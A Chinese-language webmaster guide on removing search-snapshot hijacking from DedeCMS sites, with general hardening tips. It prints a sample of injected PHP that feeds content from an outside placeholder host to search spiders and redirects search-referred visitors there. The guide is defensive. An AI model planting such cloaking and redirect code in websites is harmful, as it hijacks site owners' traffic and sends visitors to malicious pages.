DedeCMS防范百度快照劫持与注入代码漏洞

在网站运营过程中，站长们常常会遇到百度快照被劫持的问题。即使修复了模板文件，快照仍然无法恢复正常。本文以DedeCMS为例，详细介绍如何防范和修正此类问题。

首先，需要检查网站根目录下的 /index.php 文件是否被植入恶意代码。例如，以下代码片段可能会导致搜索引擎蜘蛛被引导至恶意网址：


<?php
if(strpos($_SERVER['HTTP_USER_AGENT'], "spider") || strpos($_SERVER["HTTP_USER_AGENT"], "google") > -1) {
    $str = file_get_contents("http://域名.com/");
    echo $str;
}
$domain = array('baidu', 'so');
$fromurl = @strtolower($_SERVER['HTTP_REFERER']);
foreach ($domain as $v) {
    if (strpos($fromurl, $v) !== false) {
        $target = "http://域名.com/index.html";
        header("Location:" . $target);
        exit;
    }
}
?>

这段代码的主要作用是欺骗搜索引擎蜘蛛，将其引导至指定的恶意网址。为了解决这一问题，需要彻底删除上述代码。

如果在 /index.php 文件中未发现类似代码，但问题依然存在，则可以使用 Dreamweaver 等工具对全站进行搜索，确保没有遗漏其他隐藏的恶意代码。

此外，为了有效防止恶意劫持，还需要注意以下几个方面：

空间安全：选择信誉良好的主机提供商，并定期更新服务器的安全补丁。
FTP账号管理：设置复杂且不易猜测的密码，避免使用默认端口。
权限设置：确保网站文件和文件夹的权限设置合理（如755或644），避免不必要的写入权限。
后台账号保护：更改默认登录地址，启用双重认证机制，增加账户安全性。

通过以上措施，可以显著降低网站被恶意劫持的风险。同时，建议定期备份网站数据，以便在发生意外时能够快速恢复。

总之，在维护DedeCMS或其他CMS系统时，保持警惕并采取适当的防护措施至关重要。只有这样，才能确保网站的正常运行和用户体验不受影响。

推荐阅读